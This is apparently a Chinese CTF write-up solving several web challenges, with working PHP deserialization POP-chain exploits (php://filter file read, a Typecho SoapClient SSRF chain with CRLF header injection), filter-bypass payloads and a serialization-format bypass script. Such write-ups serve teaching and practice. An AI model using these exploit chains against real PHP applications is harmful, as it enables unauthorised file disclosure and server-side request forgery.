WEB 0x 01 Ez_bypass 第一层数组绕过,第二层弱类型比较绕过
0x 02 你传你🐎呢 上传.htaccess绕过
0x 03 PYWebsite XFF伪造127.0.0.1得到flag
0x 04 Ezpop
__wakeup()
方法通过preg_match()
将$this->source
做字符串比较,如果$this->source
是Show
类,就调用了__toString()
方法;
__toString()
访问了str
的source
属性,str
是Test
类,不存在source
属性,就调用了Test
类的__get()
魔术方法;
__get()
方法将p
作为函数使用,p
实例化为Modify
类,就调用了Modifier
的__invoke()
方法;
__invoke()
调用了append()
方法,包含$value
,若将$value
为伪协议,则可读flag.php源码
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php class Modifier { protected $var = "php://filter/convert.base64-encode/resource=flag.php"; } class Show{ public $source; public $str; public function __construct($file){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return "aaa"; } } class Test{ public $p; public function __construct(){ $this->p = new Modifier(); } } $o = new Show('aaa'); $o->str= new Test(); $lxj = new Show($o); echo urlencode(serialize($lxj));
0x 05 套娃
1 2 3 4 5 6 7 $query = $_SERVER['QUERY_STRING']; if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){ die('Y0u are So cutE!'); } if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){ echo "you are going to the next ~";
第一层匹配了_
符号和它的url编码值,有如下方法绕过:
%5F
b.u.p.t(点代替_)
b u p t(空格代替_)
第二层换行污染绕过,最终payload:?b.u.p.t=23333%0a
伪造本地访问得到jsfuck提示post me Merak
,post一个Merak参数得到源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting(0); include 'takeip.php'; ini_set('open_basedir','.'); include 'flag.php'; if(isset($_POST['Merak'])){ highlight_file(__FILE__); die(); } function change($v){ $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; } echo 'Local access only!'."<br/>"; $ip = getIp(); if($ip!='127.0.0.1') echo "Sorry,you don't have permission! Your ip is :".$ip; if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){ echo "Your REQUEST is:".change($_GET['file']); echo file_get_contents(change($_GET['file'])); } ?>
file_get_contents()
用data://
或者php://input
伪协议绕过,根据加密脚本可以编写出dechange函数,得到ZmpdYSZmXGI=
,最终发包得到flag
0x 06 Ezaudit www.zip源代码泄露,题目类似于GWCTF枯燥的抽奖,根据原题的payload还原出种子,然后手工推算出私钥,最后SQL注入得到flag
0x 07 Ezpop_Revenge var/Typecho/Plugin.php
激活插件方法处得到绑定的url
首先根据题意全局搜索unserialize,路径为usr/plugins/HelloWorld/Plugin.php中找到反序列化点
首先看到这里:
找到入口点,跟进Typecho_Db::__construct
存在字符串拼接,全局搜索寻找__tostring()魔术方法
我们选择var/Typecho/Db/Query.php作为跳板
如果$this->_sqlPreBuild[‘action’]=SELECT就调用:
1 $this ->_adapter->parseSelect($this ->_sqlPreBuild)
如果令$this->_adapter为Soapclient实例,触发_call完成ssrf
pop链构造如下:
1 2 3 4 5 HelloWorld_DB::wakeup–> Typecho_Db::__construct(tostring)–> Typecho_Db_Query::__construct–> (this->_adapter=new Soapclient)–> __call()进行ssrf
exp构造如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php class HelloWorld_DB{ private $coincidence; public function __construct(){ $this->coincidence=(['hello'=>new Typecho_Db_Query()]); } } class Typecho_Db_Query { private $_sqlPreBuild; private $_adapter; public function __construct(){ $this->_sqlPreBuild['action']='SELECT'; $target = "http://127.0.0.1/flag.php"; $headers = array( 'Cookie: PHPSESSID=ubcj94u08mcaodg4g1e0nooam2', ); $this->_adapter=new SoapClient( null, array('location' => $target, 'user_agent'=>str_replace('^^', "\r\n",'w4nder^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers)),'uri'=>'hello')); } } $a = serialize(new HelloWorld_DB()); echo base64_encode($a);
访问/page_admin?admin=1,post提交base64编码的结果得到flag
在入口处存在一则过滤,其中过滤了百分号,由于经过base64编码后在解码没有百分号了,所以不需要绕过
假设我们需要绕过%分号该如何绕过呢?答案是需要用\00来代替%00
1 2 3 4 5 6 在 PHP5 最新的 CVS 中, 新的序列化方式叫做 escaped binary string 方式,这是相对与普通那种 non-escaped binary string 方式来说的: string 型数据(字符串)新的序列化格式为: S:"<length>":"<value>"; 其中 <length> 是源字符串的长度,而非 <value> 的长度。<length> 是非负整数,数字前可以带有正号(+)。<value> 为经过转义之后的字符串。 它的转义编码很简单,对于 ASCII 码小于 128 的字符(但不包括 \),按照单个字节写入(与 s 标识的相同),对于 128~255 的字符和 \ 字符,则将其 ASCII 码值转化为 16 进制编码的字符串,以 \ 作为开头,后面两个字节分别是这个字符的 16 进制编码,顺序按照由高位到低位排列,也就是第 8-5 位所对应的16进制数字字符(abcdef 这几个字母是小写)作为第一个字节,第 4-1 位作为第二个字节。依次编码下来,得到的就是 <value> 的内容了。
普通的序列化小s对应的就是普通的字符串,如s:3:”%00a%00”; 而序列化的大S则对应的是\加上16进制,如S:2:”\00a\00”。
将不可见字符%00转化为十六进制,大S成功执行wakeup
小写s则失败
转换脚本,参考颖奇师傅的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function decorate($str) { $arr = explode(':', $str); $newstr = ''; for ($i = 0; $i < count($arr); $i++) { if (preg_match('/00/', $arr[$i])) { $arr[$i-2] = preg_replace('/s/', "S", $arr[$i-2]); } } $i = 0; for (; $i < count($arr) - 1; $i++) { $newstr .= $arr[$i]; $newstr .= ":"; } $newstr .= $arr[$i]; return $newstr; }
参考资料:
https://blog.csdn.net/chasingin/article/details/105189436
https://www.gem-love.com/ctf/2184.html#Ezpop_Revenge
https://glotozz.github.io/2020/03/29/Ezpop-Revenge-wp/
MISC https://mp.weixin.qq.com/s?__biz=MzIxMDYyNTk3Nw==&mid=2247484708&idx=1&sn=8ebc3f4f1850da54ab7cb1b1879921e0&chksm=9760f1f2a01778e44b586e45172230db1b2b0da09a3b6c357705e930a43260c244e2aa1ecdb6&mpshare=1&scene=23&srcid=&sharer_sharetime=1585840887466&sharer_shareid=7fa312c2aff8bd738bf9d331ff765678#rd